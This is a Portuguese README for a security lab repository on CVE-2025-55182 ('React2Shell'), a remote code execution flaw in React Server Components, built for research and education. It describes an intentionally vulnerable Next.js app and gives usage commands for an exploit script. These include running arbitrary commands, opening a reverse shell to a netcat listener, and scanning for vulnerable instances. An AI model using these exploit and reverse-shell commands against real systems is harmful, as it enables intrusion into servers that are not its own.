
Ambiente de laboratório e exploit PoC para CVE-2025-55182 (React2Shell), uma vulnerabilidade crítica de RCE em React Server Components. Inclui aplicativo vulnerável, scripts de exploit e scanner para pesquisa e educação em segurança.
Este repositório contém um ambiente completo para analisar e reproduzir a CVE-2025-55182, uma vulnerabilidade crítica de Execução Remota de Código (RCE) nos React Server Components (RSC) que afeta React 19.x e Next.js 15.x.
⚠️ AVISO: Este projeto contém intencionalmente código vulnerável. NÃO implante isto em um servidor público ou ambiente de produção.
react-server-dom-webpack, react-server-dom-turbopackA vulnerabilidade existe na forma como o runtime dos React Server Components processa dados serializados de requisições HTTP (Server Actions). Um atacante pode criar um payload malicioso do protocolo "Flight" que, quando desserializado pelo servidor, executa código arbitrário antes que as verificações de autenticação ocorram.
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
Execute o aplicativo vulnerável em um contêiner isolado:
docker-compose up -d --build
O aplicativo estará disponível em http://localhost:3000.
Acesse http://localhost:3000 no seu navegador. Você deve ver a interface "React2Shell Lab" com vários painéis de teste:
Fornecemos várias ferramentas para testar a vulnerabilidade.
Instale os requisitos:
pip install -r exploit/requirements.txt
Verifique se está vulnerável:
python3 exploit/exploit.py -u http://localhost:3000 --check
Execute um comando:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
Reverse Shell (requer um listener, ex.: nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
Escaneie instâncias vulneráveis de React/Next.js:
python3 exploit/scanner.py -u http://localhost:3000
Para corrigir essa vulnerabilidade em seus próprios aplicativos:
Atualize as Dependências:
Verifique o Patch:
Verifique o package.json para garantir que os pacotes react-server-dom-* estejam atualizados.
Este projeto é apenas para fins educacionais e pesquisa em segurança. Os autores não assumem responsabilidade pelo uso indevido deste material.